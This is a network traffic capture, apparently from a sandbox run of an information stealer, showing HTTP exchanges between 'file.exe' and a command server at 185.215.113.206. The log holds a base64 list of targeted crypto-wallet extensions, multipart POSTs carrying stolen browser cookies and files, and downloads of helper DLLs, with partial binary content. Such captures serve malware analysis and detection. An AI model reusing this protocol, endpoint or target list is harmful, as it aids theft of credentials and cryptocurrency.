Nov 23, 2024 02:55:12.695066929 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 23, 2024 02:55:12.695235014 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 23, 2024 02:55:12.695250988 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 23, 2024 02:55:12.695261955 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 23, 2024 02:55:12.695276022 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 23, 2024 02:55:12.695293903 CET	620	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 23, 2024 02:55:12.896120071 CET	544	IN	Data Raw: 5a 57 52 69 61 6d 6c 76 61 58 42 6e 62 47 64 6a 59 6d 4e 74 62 6d 4a 77 5a 32 78 70 62 32 5a 38 4d 58 77 77 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 Data Ascii: ZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5
Nov 23, 2024 02:55:12.900428057 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="message"fplugins------JJJKFBAAAFHJEBFIEGID--
Nov 23, 2024 02:55:13.349107981 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 23, 2024 02:55:13.524151087 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEB Host: 185.215.113.206 Content-Length: 7527 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 02:55:13.524151087 CET	7527	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 Data Ascii: ------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 23, 2024 02:55:14.613883972 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 02:55:14.932353020 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 02:55:15.378082037 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 23, 2024 02:55:15.378164053 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49780	185.215.113.206	80	3704	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 02:55:24.770210981 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------JKKFIIEBKEGIEBFIJKFI--
Nov 23, 2024 02:55:26.678517103 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 02:55:26.823333025 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="file"------EBGCFBGCBFHJECBGDAKK--
Nov 23, 2024 02:55:27.780930996 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49814	185.215.113.206	80	3704	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 02:55:33.510998964 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDGDAKFHIEHJKFHDHDB Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 02:55:33.511240959 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 Data Ascii: ------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 23, 2024 02:55:35.386194944 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 02:55:35.565180063 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 32 36 39 32 65 38 37 61 61 37 35 37 66 64 64 62 37 39 37 37 66 36 32 31 63 64 37 36 65 37 32 34 39 37 33 37 36 37 66 61 39 36 62 39 32 36 66 63 39 34 35 32 33 66 64 38 34 31 61 35 30 35 36 61 65 30 62 34 65 31 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="token"42692e87aa757fddb7977f621cd76e724973767fa96b926fc94523fd841a5056ae0b4e16------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="file"------DBAEGCGCGIEGDHIDHJJE--
Nov 23, 2024 02:55:36.539670944 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 02:55:37.166330099 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 02:55:37.632785082 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 23, 2024 02:55:37.632806063 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 23, 2024 02:55:37.632818937 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 23, 2024 02:55:37.632837057 CET	372	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
